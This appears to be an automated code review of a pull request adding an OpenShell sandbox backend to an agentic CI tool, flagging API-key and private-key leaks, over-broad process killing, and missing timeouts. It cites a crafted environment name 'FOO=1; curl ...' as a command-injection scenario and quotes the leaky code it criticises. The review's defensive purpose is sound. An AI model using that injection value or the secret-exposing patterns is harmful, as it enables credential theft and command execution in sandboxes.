interpolated ANTHROPIC_API_KEY env (remove the -e with $(cat ...)); instead
bind-mount or otherwise make API_KEY_FILE available inside the container and set
ANTHROPIC_API_KEY from that file in the bash -c command (where agentic-ci run
... is invoked) so the secret never appears in the outer process args or
environment.
- Around line 219-232: The current podman exec invocation leaks the Anthropic
key by interpolating $(cat "$API_KEY_FILE") on the host; change it so the secret
file is read inside the container instead of expanding on the CLI. Update the
podman exec/openshell-e2e invocation so ANTHROPIC_API_KEY is set inside the
container (e.g., read "$API_KEY_FILE" in the bash -c command before calling
agentic-ci run) and remove host-side command substitution; keep SANDBOX_IMAGE
and the agentic-ci run arguments intact.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: ec14843b-15c6-451b-9763-955fd7ad20e8
📒 Files selected for processing (9)
.claude/skills/test-e2e-openshell/SKILL.mdsrc/agentic_ci/backends/__init__.pysrc/agentic_ci/backends/openshell/__init__.pysrc/agentic_ci/backends/openshell/gateway.pysrc/agentic_ci/backends/openshell/policy.pysrc/agentic_ci/backends/openshell/provider.pysrc/agentic_ci/backends/openshell/sandbox.pysrc/agentic_ci/harness.pytests/test_backend.py
🚧 Files skipped from review as they are similar to previous changes (3)
- src/agentic_ci/backends/openshell/sandbox.py
- src/agentic_ci/backends/init.py
- tests/test_backend.py
| podman exec openshell-e2e bash -c ' | ||
| pids=$(ss -tlnp | grep 17670 | grep -oP "pid=\K[0-9]+" 2>/dev/null) | ||
| [ -n "$pids" ] && kill -9 $pids 2>/dev/null | ||
| pkill -9 -f "podman system" 2>/dev/null |
There was a problem hiding this comment.
Cleanup pattern kills all podman system services, not just the gateway's.
The pattern "podman system" matches any podman system service. From gateway.py:_kill_podman_service(), the backend uses a more precise pattern that includes the full command with socket path: f"podman system service --time=0 {sock}". In a shared environment, this could terminate unrelated podman services.
🎯 Proposed fix to match the backend's precise pattern
- pkill -9 -f "podman system" 2>/dev/null
+ xdg="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}"
+ pkill -9 -f "podman system service --time=0 unix://${xdg}/podman/podman.sock" 2>/dev/null📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| pkill -9 -f "podman system" 2>/dev/null | |
| xdg="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}" | |
| pkill -9 -f "podman system service --time=0 unix://${xdg}/podman/podman.sock" 2>/dev/null |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.claude/skills/test-e2e-openshell/SKILL.md at line 88, The cleanup command
in SKILL.md uses a broad pattern ("podman system") that will kill all podman
system services; update the instruction to use the same precise pattern the
backend uses (see gateway.py:_kill_podman_service()) — i.e. match the full
command string "podman system service --time=0 {sock}" (or a safe regex/quoted
form including the gateway socket path) so the cleanup only targets the
gateway's podman service rather than all podman system services.
Comment on lines
+92
to
+101
| lines = self.harness.build_env_script_lines(otel_port, otel_rate_file) | ||
| lines.append("export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1") | ||
|
|
||
| adc = os.path.expanduser("~/.config/gcloud/application_default_credentials.json") | ||
| if os.path.isfile(adc): | ||
| source = "default ADC file" | ||
| else: | ||
| adc = os.environ.get("GOOGLE_APPLICATION_CREDENTIALS", "") | ||
| source = "GOOGLE_APPLICATION_CREDENTIALS file" | ||
| if not adc or not os.path.isfile(adc): | ||
| log.section("No credentials found to upload") | ||
| return | ||
| for key, val in self._extra_env.items(): | ||
| lines.append(f"export {key}={shlex.quote(val)}") | ||
|
|
||
| log.section(f"Uploading credentials ({source})") | ||
|
|
||
| staging = tempfile.mkdtemp(prefix="agentic-ci-creds-") | ||
| try: | ||
| gcloud_dir = os.path.join(staging, "gcloud") | ||
| os.makedirs(gcloud_dir, exist_ok=True) | ||
| shutil.copy2(adc, os.path.join(gcloud_dir, "application_default_credentials.json")) | ||
|
|
||
| config_default = os.path.expanduser("~/.config/gcloud/configurations/config_default") | ||
| if os.path.isfile(config_default): | ||
| conf_dest = os.path.join(gcloud_dir, "configurations") | ||
| os.makedirs(conf_dest, exist_ok=True) | ||
| shutil.copy2(config_default, os.path.join(conf_dest, "config_default")) | ||
|
|
||
| sandbox.upload(os.path.join(staging, "gcloud")) | ||
| sandbox.exec_cmd( | ||
| [ | ||
| "bash", | ||
| "-c", | ||
| 'mkdir -p "$HOME/.config/gcloud/configurations"' | ||
| ' && cp -r gcloud/* "$HOME/.config/gcloud/"', | ||
| ] | ||
| ) | ||
| finally: | ||
| shutil.rmtree(staging, ignore_errors=True) | ||
| lines.append(f"export AGENT_MODEL={shlex.quote(model)}") | ||
| script = "\n".join(lines) + "\n" | ||
| encoded = base64.b64encode(script.encode()).decode() | ||
| sandbox.exec_cmd(["bash", "-c", f"echo {encoded} | base64 -d > {self._ENV_SCRIPT}"]) |
There was a problem hiding this comment.
Stop exporting the real ANTHROPIC_API_KEY into the sandbox.
Severity: critical. self.harness.build_env_script_lines() still emits export ANTHROPIC_API_KEY=... for API-key mode, and this method writes those lines verbatim into the in-sandbox startup script. Any prompt or tool running in the sandbox can read or exfiltrate the raw key, which breaks the provider isolation this PR is introducing (CWE-200, CWE-522).
Suggested fix
- lines = self.harness.build_env_script_lines(otel_port, otel_rate_file)
+ lines = self.harness.build_env_script_lines(otel_port, otel_rate_file)
+ if self.harness.auth_mode == "api-key":
+ lines = [
+ line
+ for line in lines
+ if not line.startswith("export ANTHROPIC_API_KEY=")
+ ]
lines.append("export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/__init__.py` around lines 92 - 101, The
build writes the literal env script returned by
self.harness.build_env_script_lines() into the sandbox, which can include a real
ANTHROPIC_API_KEY; after obtaining lines (the variable from
build_env_script_lines) but before joining/encoding/writing to self._ENV_SCRIPT
via sandbox.exec_cmd, filter out or redact any entry exporting ANTHROPIC_API_KEY
(e.g., remove lines that contain "export ANTHROPIC_API_KEY=" or replace the RHS
with a non-secret placeholder) so the real key from build_env_script_lines() is
not written into the sandbox; keep the rest of the logic that appends
self._extra_env, AGENT_MODEL, encoding, and sandbox.exec_cmd unchanged.
Comment on lines
+144
to
+150
| for line in result.stdout.splitlines(): | ||
| if str(GATEWAY_PORT) not in line: | ||
| continue | ||
| match = re.search(r"pid=(\d+)", line) | ||
| if match: | ||
| pid = int(match.group(1)) | ||
| os.kill(pid, signal.SIGTERM) |
There was a problem hiding this comment.
Match GATEWAY_PORT against the listener field, not the whole ss line.
if str(GATEWAY_PORT) not in line can match unrelated listeners whose pid= or another token happens to contain 17670; the next os.kill() then terminates the wrong process. Severity: major.
Suggested fix
- for line in result.stdout.splitlines():
- if str(GATEWAY_PORT) not in line:
- continue
- match = re.search(r"pid=(\d+)", line)
+ for line in result.stdout.splitlines():
+ match = re.search(rf":{GATEWAY_PORT}\b.*pid=(\d+)", line)
if match:
pid = int(match.group(1))
os.kill(pid, signal.SIGTERM)
_wait_for_pid(pid, timeout=10)
return🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/gateway.py` around lines 144 - 150, The
loop that looks for GATEWAY_PORT in result.stdout is matching the entire ss
output line and can falsely hit unrelated entries; update the loop in gateway.py
to extract the listener/local address:port field from each ss line (instead of
testing the whole line) and compare only its port to GATEWAY_PORT, then only
when that field matches run the pid extraction (the existing
re.search(r"pid=(\d+)") and subsequent os.kill(pid, signal.SIGTERM)); i.e.,
parse the listener column for the port, confirm it equals str(GATEWAY_PORT),
then proceed to find and kill the pid.
34e1a80 to
feff7d1
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
♻️ Duplicate comments (8)
src/agentic_ci/backends/openshell/__init__.py (3)
57-65:⚠️ Potential issue | 🟠 MajorRun
gateway.stop()from afinallyblock.If
sandbox.delete()raises, teardown skips Line 64 and the global gateway stays up. The next setup/stop cycle then starts from stale state.Suggested fix
def stop(self): - if sandbox.exists(): - sandbox.delete() - log.section("Sandbox deleted") - else: - log.section("No sandbox to stop") - - gateway.stop() - log.section("Gateway stopped") + try: + if sandbox.exists(): + sandbox.delete() + log.section("Sandbox deleted") + else: + log.section("No sandbox to stop") + finally: + gateway.stop() + log.section("Gateway stopped")As per coding guidelines, prioritize “Bug-prone patterns and error handling gaps.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/__init__.py` around lines 57 - 65, The stop() teardown can skip calling gateway.stop() if sandbox.delete() raises; update stop() so that gateway.stop() is executed from a finally block to guarantee gateway teardown even on errors from sandbox.delete(); keep the existing sandbox.exists()/sandbox.delete() logic but catch and log any exception from sandbox.delete() (using log.section or a dedicated logger) before re-raising or proceeding, and call gateway.stop() inside finally to ensure gateway.stop() always runs.Source: Coding guidelines
95-96:⚠️ Potential issue | 🟠 MajorValidate
extra_envnames before emitting shell.Severity: major.
keyis interpolated into a sourced shell script without validation, so a crafted name likeFOO=1; curl ...becomes command injection in the sandbox startup path (CWE-78). Reject anything that is not a shell identifier before appendingexport {key}=....Suggested fix
+import re @@ class OpenShellBackend(Backend): @@ + _ENV_KEY_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$") + @@ for key, val in self._extra_env.items(): + if not self._ENV_KEY_RE.fullmatch(key): + raise ValueError(f"Invalid environment variable name: {key}") lines.append(f"export {key}={shlex.quote(val)}")As per coding guidelines, prioritize “Security vulnerabilities (provide severity, exploit scenario, and remediation code).”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/__init__.py` around lines 95 - 96, The loop that emits environment exports (the for key, val in self._extra_env.items() block that calls lines.append(f"export {key}={shlex.quote(val)}")) interpolates unvalidated keys into a shell script and must validate keys as safe shell identifiers; update this code to check each key against the POSIX identifier pattern (e.g. ^[A-Za-z_][A-Za-z0-9_]*$) and if a key fails, either raise a ValueError or skip and log the invalid key rather than emitting it, keeping shlex.quote(val) for the value; ensure the validation happens before constructing the export line so no unsafe key can be written into the generated script.Source: Coding guidelines
92-101:⚠️ Potential issue | 🔴 CriticalStop writing the real
ANTHROPIC_API_KEYinto the sandbox env script.Severity: critical.
src/agentic_ci/harness.py:127-133still emitsexport ANTHROPIC_API_KEY=...for API-key auth, and this method writes those lines verbatim into/tmp/.agentic-ci-env.sh. Any prompt, tool, or leftover sandbox state can read or exfiltrate the raw key, which defeats the provider-isolation goal of this PR (CWE-200, CWE-522).Suggested fix
lines = self.harness.build_env_script_lines(otel_port, otel_rate_file) + if self.harness.auth_mode == "api-key": + lines = [ + line + for line in lines + if not line.startswith("export ANTHROPIC_API_KEY=") + ] lines.append("export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/__init__.py` around lines 92 - 101, The env script writer is currently writing raw secret lines into the sandbox; before joining/writing the script (in the method that calls harness.build_env_script_lines and writes to self._ENV_SCRIPT via sandbox.exec_cmd) filter or sanitize any ANTHROPIC_API_KEY export: detect lines that start with "export ANTHROPIC_API_KEY=" (or key from self._extra_env) and either remove them or replace the value with a non-sensitive placeholder (e.g. export ANTHROPIC_API_KEY='REDACTED') so the real key is never emitted; update the code around harness.build_env_script_lines, the loop that appends from self._extra_env, and the final script variable that is base64-encoded to ensure the sanitized lines are what get written to self._ENV_SCRIPT by sandbox.exec_cmd.Source: Coding guidelines
src/agentic_ci/backends/openshell/provider.py (1)
35-41:⚠️ Potential issue | 🟠 MajorBound
provider_exists()with a timeout.If
openshell provider getwedges here,setup()blocks indefinitely before sandbox creation and the run never recovers. Fail fast onsubprocess.TimeoutExpiredinstead of letting provider setup hang forever.Suggested fix
def provider_exists(): """Check if the CI provider already exists.""" - result = subprocess.run( - ["openshell", "provider", "get", PROVIDER_NAME], - capture_output=True, - ) + try: + result = subprocess.run( + ["openshell", "provider", "get", PROVIDER_NAME], + capture_output=True, + timeout=10, + ) + except subprocess.TimeoutExpired as exc: + raise RuntimeError("Timed out querying OpenShell provider state") from exc return result.returncode == 0As per coding guidelines, prioritize “Bug-prone patterns and error handling gaps.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/provider.py` around lines 35 - 41, provider_exists() currently calls subprocess.run(["openshell", "provider", "get", PROVIDER_NAME], capture_output=True) with no timeout, which can hang; update the call to include a sensible timeout (e.g., timeout=5) and wrap it in a try/except that catches subprocess.TimeoutExpired (and optionally subprocess.SubprocessError) and returns False on timeout/error so setup() fails fast; modify the provider_exists function to use the timeout parameter and handle subprocess.TimeoutExpired to avoid blocking forever.Source: Coding guidelines
.claude/skills/test-e2e-openshell/SKILL.md (2)
84-93:⚠️ Potential issue | 🟠 MajorDo not tell users to kill every Podman system service.
pkill -9 -f "podman system"will terminate unrelated Podman services on the same host/container, not just the gateway socket this backend uses. Mirrorgateway.py:_kill_podman_service()and match the fullpodman system service --time=0 unix://.../podman.sockcommand instead.Suggested fix
- pkill -9 -f "podman system" 2>/dev/null + xdg="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}" + pkill -9 -f "podman system service --time=0 unix://${xdg}/podman/podman.sock" 2>/dev/nullAs per coding guidelines, prioritize “Bug-prone patterns and error handling gaps.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.claude/skills/test-e2e-openshell/SKILL.md around lines 84 - 93, Replace the unsafe blanket kill command in the cleanup snippet that uses pkill -9 -f "podman system" with the same targeted command string used in gateway.py:_kill_podman_service(); specifically, search for the pkill invocation in SKILL.md and change it to invoke the full "podman system service --time=0 unix://.../podman.sock" command (matching the exact socket path used by the gateway) so only the gateway's podman system service is terminated rather than all Podman services on the host.Source: Coding guidelines
158-171:⚠️ Potential issue | 🟠 MajorDo not interpolate the Anthropic key into
podman exec -e ....Severity: major.
-e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")"exposes the raw key in the outer shell command line and process list during execution (CWE-200, CWE-532). Mount or copy the file into the container, read it there, and export it only inside the container shell.Suggested fix
- podman exec \ - -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \ - -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \ - openshell-e2e bash -c ' + podman cp "$API_KEY_FILE" openshell-e2e:/tmp/anthropic_api_key + podman exec \ + -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \ + openshell-e2e bash -c ' + export ANTHROPIC_API_KEY="$(tr -d "\r\n" </tmp/anthropic_api_key)" + rm -f /tmp/anthropic_api_key agentic-ci run \ --backend openshell \ --harness claude-code \ --image "$SANDBOX_IMAGE" \ --model claude-haiku-4-5 \ --no-otel \ "Respond with exactly: B1_OK" 'Apply the same change pattern to Section D.
As per coding guidelines, prioritize “Security vulnerabilities (provide severity, exploit scenario, and remediation code).”
Also applies to: 219-232
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.claude/skills/test-e2e-openshell/SKILL.md around lines 158 - 171, The current podman exec usage interpolates the Anthropic API key into the outer shell command (the -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" bit) which exposes it in the process list; instead mount or copy the API key file into the container (referencing API_KEY_FILE) and set/export ANTHROPIC_API_KEY inside the container shell before running agentic-ci (the openshell-e2e container and the agentic-ci run invocation), so remove outer interpolation and read the file inside the container to export ANTHROPIC_API_KEY securely; apply the same change pattern to the other block in Section D (the similar lines around 219-232).Source: Coding guidelines
src/agentic_ci/backends/openshell/gateway.py (2)
144-152:⚠️ Potential issue | 🟠 MajorOnly kill
openshell-gatewayon the bound listener port.This still kills the first
pid=(\d+)found on anyssline containing17670. If another token happens to contain that number, or a different service owns the port during recovery,stop()can terminate the wrong process. Match the listener field against:{GATEWAY_PORT}and confirm the command isopenshell-gatewaybefore sending SIGTERM.Suggested fix
- for line in result.stdout.splitlines(): - if str(GATEWAY_PORT) not in line: - continue - match = re.search(r"pid=(\d+)", line) + for line in result.stdout.splitlines(): + match = re.search( + rf":{GATEWAY_PORT}\b.*users:\(\(\"openshell-gateway\",pid=(\d+)", + line, + ) if match: pid = int(match.group(1)) os.kill(pid, signal.SIGTERM) _wait_for_pid(pid, timeout=10) returnAs per coding guidelines, prioritize “Bug-prone patterns and error handling gaps.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/gateway.py` around lines 144 - 152, The loop that parses result.stdout (in the stop() logic using GATEWAY_PORT) currently kills the first pid found on any line containing the port number; change the parsing so you only select lines where the listener column explicitly contains ":{GATEWAY_PORT}" and the process command equals "openshell-gateway" before extracting pid and calling os.kill(pid, signal.SIGTERM) and _wait_for_pid(pid, timeout=10); update the regex/line-splitting logic in the block that uses result.stdout.splitlines() to capture the listener/token and the command token, verify both conditions (listener == f":{GATEWAY_PORT}" and command == "openshell-gateway"), then proceed to parse pid and terminate.Source: Coding guidelines
233-256:⚠️ Potential issue | 🟠 MajorRetry timeouts from
openshell gateway addinstead of hanging forever.Tenacity only retries
CalledProcessError, but this subprocess has notimeout=. If the CLI blocks,start()stalls until the outer job timeout and the retry loop never gets a chance to run.Suggested fix
`@tenacity.retry`( wait=tenacity.wait_fixed(2), stop=tenacity.stop_after_attempt(10), - retry=tenacity.retry_if_exception_type(subprocess.CalledProcessError), + retry=tenacity.retry_if_exception_type( + (subprocess.CalledProcessError, subprocess.TimeoutExpired) + ), reraise=True, ) def _register(): @@ subprocess.run( [ "openshell", "gateway", "add", f"https://localhost:{GATEWAY_PORT}", "--local", "--name", "ci", ], check=True, + capture_output=True, + text=True, + timeout=10, )As per coding guidelines, prioritize “Bug-prone patterns and error handling gaps.”
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/gateway.py` around lines 233 - 256, The _register function can hang because subprocess.run has no timeout and tenacity only retries CalledProcessError; update the retry decorator to also retry subprocess.TimeoutExpired (e.g., add retry=tenacity.retry_if_exception_type((subprocess.CalledProcessError, subprocess.TimeoutExpired))) and add a sensible timeout= parameter to the subprocess.run call (use GATEWAY_PORT context to pick a short value like 5–15s). Keep reraise=True so failures bubble up after retries.Source: Coding guidelines
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/agentic_ci/backends/openshell/provider.py`:
- Around line 134-151: The subprocess.run call that constructs the OpenShell CLI
(the invocation building ["openshell","provider","refresh","configure",...,
f"private_key={private_key}", ... , PROVIDER_NAME]) is leaking the
service-account private_key on argv; to fix, stop passing private_key directly
on the command line by running that subprocess inside a tightly isolated
one-shot sandbox (dedicated container/VM/UID with no other untrusted processes
during execution) or replace this CLI-based refresh with a non-CLI OpenShell
integration that accepts secrets out-of-band (e.g., via a secure agent API or
files mounted inside an isolated job) so client_email/private_key are never
embedded into argv for the subprocess.run call.
In `@src/agentic_ci/backends/openshell/sandbox.py`:
- Around line 19-30: In the create function that builds the OpenShell CLI args
(function create in src/agentic_ci/backends/openshell/sandbox.py), add the
"--no-auto-providers" flag to the argument list used for "openshell sandbox
create" so that when "--provider" is specified OpenShell will not auto-attach
ambient/auto-discovered providers; update the args array construction (the list
containing "openshell", "sandbox", "create", "--name", SANDBOX_NAME, "--no-tty",
"--provider", PROVIDER_NAME) to include "--no-auto-providers" immediately before
"--provider".
---
Duplicate comments:
In @.claude/skills/test-e2e-openshell/SKILL.md:
- Around line 84-93: Replace the unsafe blanket kill command in the cleanup
snippet that uses pkill -9 -f "podman system" with the same targeted command
string used in gateway.py:_kill_podman_service(); specifically, search for the
pkill invocation in SKILL.md and change it to invoke the full "podman system
service --time=0 unix://.../podman.sock" command (matching the exact socket path
used by the gateway) so only the gateway's podman system service is terminated
rather than all Podman services on the host.
- Around line 158-171: The current podman exec usage interpolates the Anthropic
API key into the outer shell command (the -e "ANTHROPIC_API_KEY=$(cat
"$API_KEY_FILE")" bit) which exposes it in the process list; instead mount or
copy the API key file into the container (referencing API_KEY_FILE) and
set/export ANTHROPIC_API_KEY inside the container shell before running
agentic-ci (the openshell-e2e container and the agentic-ci run invocation), so
remove outer interpolation and read the file inside the container to export
ANTHROPIC_API_KEY securely; apply the same change pattern to the other block in
Section D (the similar lines around 219-232).
In `@src/agentic_ci/backends/openshell/__init__.py`:
- Around line 57-65: The stop() teardown can skip calling gateway.stop() if
sandbox.delete() raises; update stop() so that gateway.stop() is executed from a
finally block to guarantee gateway teardown even on errors from
sandbox.delete(); keep the existing sandbox.exists()/sandbox.delete() logic but
catch and log any exception from sandbox.delete() (using log.section or a
dedicated logger) before re-raising or proceeding, and call gateway.stop()
inside finally to ensure gateway.stop() always runs.
- Around line 95-96: The loop that emits environment exports (the for key, val
in self._extra_env.items() block that calls lines.append(f"export
{key}={shlex.quote(val)}")) interpolates unvalidated keys into a shell script
and must validate keys as safe shell identifiers; update this code to check each
key against the POSIX identifier pattern (e.g. ^[A-Za-z_][A-Za-z0-9_]*$) and if
a key fails, either raise a ValueError or skip and log the invalid key rather
than emitting it, keeping shlex.quote(val) for the value; ensure the validation
happens before constructing the export line so no unsafe key can be written into
the generated script.
- Around line 92-101: The env script writer is currently writing raw secret
lines into the sandbox; before joining/writing the script (in the method that
calls harness.build_env_script_lines and writes to self._ENV_SCRIPT via
sandbox.exec_cmd) filter or sanitize any ANTHROPIC_API_KEY export: detect lines
that start with "export ANTHROPIC_API_KEY=" (or key from self._extra_env) and
either remove them or replace the value with a non-sensitive placeholder (e.g.
export ANTHROPIC_API_KEY='REDACTED') so the real key is never emitted; update
the code around harness.build_env_script_lines, the loop that appends from
self._extra_env, and the final script variable that is base64-encoded to ensure
the sanitized lines are what get written to self._ENV_SCRIPT by
sandbox.exec_cmd.
In `@src/agentic_ci/backends/openshell/gateway.py`:
- Around line 144-152: The loop that parses result.stdout (in the stop() logic
using GATEWAY_PORT) currently kills the first pid found on any line containing
the port number; change the parsing so you only select lines where the listener
column explicitly contains ":{GATEWAY_PORT}" and the process command equals
"openshell-gateway" before extracting pid and calling os.kill(pid,
signal.SIGTERM) and _wait_for_pid(pid, timeout=10); update the
regex/line-splitting logic in the block that uses result.stdout.splitlines() to
capture the listener/token and the command token, verify both conditions
(listener == f":{GATEWAY_PORT}" and command == "openshell-gateway"), then
proceed to parse pid and terminate.
- Around line 233-256: The _register function can hang because subprocess.run
has no timeout and tenacity only retries CalledProcessError; update the retry
decorator to also retry subprocess.TimeoutExpired (e.g., add
retry=tenacity.retry_if_exception_type((subprocess.CalledProcessError,
subprocess.TimeoutExpired))) and add a sensible timeout= parameter to the
subprocess.run call (use GATEWAY_PORT context to pick a short value like 5–15s).
Keep reraise=True so failures bubble up after retries.
In `@src/agentic_ci/backends/openshell/provider.py`:
- Around line 35-41: provider_exists() currently calls
subprocess.run(["openshell", "provider", "get", PROVIDER_NAME],
capture_output=True) with no timeout, which can hang; update the call to include
a sensible timeout (e.g., timeout=5) and wrap it in a try/except that catches
subprocess.TimeoutExpired (and optionally subprocess.SubprocessError) and
returns False on timeout/error so setup() fails fast; modify the provider_exists
function to use the timeout parameter and handle subprocess.TimeoutExpired to
avoid blocking forever.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: 9f296326-4e38-44ef-9d84-1643b230d6f4
📒 Files selected for processing (9)
.claude/skills/test-e2e-openshell/SKILL.mdsrc/agentic_ci/backends/__init__.pysrc/agentic_ci/backends/openshell/__init__.pysrc/agentic_ci/backends/openshell/gateway.pysrc/agentic_ci/backends/openshell/policy.pysrc/agentic_ci/backends/openshell/provider.pysrc/agentic_ci/backends/openshell/sandbox.pysrc/agentic_ci/harness.pytests/test_backend.py
🚧 Files skipped from review as they are similar to previous changes (3)
- src/agentic_ci/backends/init.py
- src/agentic_ci/harness.py
- src/agentic_ci/backends/openshell/policy.py
Comment on lines
+134
to
+151
| subprocess.run( | ||
| [ | ||
| "openshell", | ||
| "provider", | ||
| "refresh", | ||
| "configure", | ||
| "--credential-key", | ||
| "GCP_SA_ACCESS_TOKEN", | ||
| "--strategy", | ||
| "google-service-account-jwt", | ||
| "--material", | ||
| f"client_email={client_email}", | ||
| "--material", | ||
| f"private_key={private_key}", | ||
| "--secret-material-key", | ||
| "private_key", | ||
| PROVIDER_NAME, | ||
| ], |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
Does OpenShell provider refresh configuresupport supplying secret material from a file or stdin instead of--material key=value on the command line?
💡 Result:
No. In the documented OpenShell command openshell provider refresh configure, secret/refresh material is supplied via repeated --material key=value flags (and an optional --secret-material-key to select which material field is treated as the gateway-managed secret key). The docs do not describe any --material @file``, --material-file, or stdin (`-`) option for `provider refresh configure`; therefore you can’t rely on file/stdin input for the refresh material using that command’s CLI syntax. [1][2] What the docs show instead is inline key/value material, e.g. `--material client_secret="$CLIENT_SECRET"` and similar. [1][3]
Citations:
- 1: https://docs.nvidia.com/openshell/sandboxes/providers-v2
- 2: https://docs.nvidia.com/openshell/sandboxes/manage-providers
- 3: https://docs.nvidia.com/openshell/get-started/tutorials/microsoft-graph-provider-refresh
Don’t pass the service-account private key on the openshell process command line.
private_key is embedded into argv via --material private_key=..., so any local process with access to ps//proc/<pid>/cmdline during setup can recover the raw key (CWE-200, CWE-522).
OpenShell’s provider refresh configure only documents inline --material key=value flags for supplying material—no supported file/stdin indirection—so this specific CLI can’t be changed to hide the secret from argv without sandboxing or changing OpenShell itself.
Mitigation: run this openshell provider refresh configure invocation in a tightly isolated environment (dedicated container/VM and UID; no untrusted co-tenants during the call), or switch to a non-CLI/OpenShell integration that accepts secrets out-of-band rather than through argv.
# Example: execute the refresh/configure step in a locked-down one-shot sandbox job
# (dedicated container/VM/UID; no other untrusted processes sharing the host/UID during execution).
subprocess.run(sandbox_cmd + [
"openshell", "provider", "refresh", "configure",
"--credential-key", "GCP_SA_ACCESS_TOKEN",
"--strategy", "google-service-account-jwt",
"--material", f"client_email={client_email}",
"--material", f"private_key={private_key}",
"--secret-material-key", "private_key",
PROVIDER_NAME,
], check=True)🧰 Tools
🪛 Ruff (0.15.15)
[error] 134-134: subprocess call: check for execution of untrusted input
(S603)
[error] 135-151: Starting a process with a partial executable path
(S607)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/provider.py` around lines 134 - 151, The
subprocess.run call that constructs the OpenShell CLI (the invocation building
["openshell","provider","refresh","configure",..., f"private_key={private_key}",
... , PROVIDER_NAME]) is leaking the service-account private_key on argv; to
fix, stop passing private_key directly on the command line by running that
subprocess inside a tightly isolated one-shot sandbox (dedicated
container/VM/UID with no other untrusted processes during execution) or replace
this CLI-based refresh with a non-CLI OpenShell integration that accepts secrets
out-of-band (e.g., via a secure agent API or files mounted inside an isolated
job) so client_email/private_key are never embedded into argv for the
subprocess.run call.
Source: Coding guidelines
Comment on lines
19
to
30
| def create(image=None, policy_path=None): | ||
| """Create a persistent sandbox.""" | ||
| """Create a persistent sandbox with the CI provider attached.""" | ||
| args = [ | ||
| "openshell", | ||
| "sandbox", | ||
| "create", | ||
| "--name", | ||
| SANDBOX_NAME, | ||
| "--no-tty", | ||
| "--no-auto-providers", | ||
| "--provider", | ||
| PROVIDER_NAME, | ||
| ] |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
In OpenShell, when openshell sandbox createis passed--provider , are automatic providers still attached unless --no-auto-providers is also specified?
💡 Result:
In OpenShell, the --provider flag is used to explicitly attach specific credential providers to a sandbox [1][2]. When you use this flag, the system does not automatically exclude or disable other providers unless specifically instructed to do so. The --no-auto-providers flag is a separate control mechanism used to prevent the CLI from automatically creating or attaching missing providers based on your local environment credentials [2][3]. If you omit --no-auto-providers, OpenShell may still attempt to auto-discover and attach providers if the command recognizes the tool (e.g., claude, codex, or opencode) and detects corresponding credentials in your local environment [1][4]. Therefore, simply passing --provider does not disable the auto-provider functionality; if you want to ensure no automatic providers are attached, you must explicitly include --no-auto-providers [2][3].
Citations:
- 1: https://docs.nvidia.com/openshell/latest/sandboxes/manage-providers
- 2: https://nvidia-openshell.mintlify.app/reference/cli-sandbox
- 3: https://github.com/nvidia/openshell/blob/HEAD/.agents/skills/openshell-cli/cli-reference.md
- 4: https://nvidia-openshell.mintlify.app/sandboxes/providers
Re-add --no-auto-providers when using openshell sandbox create --provider to prevent ambient credential attachment.
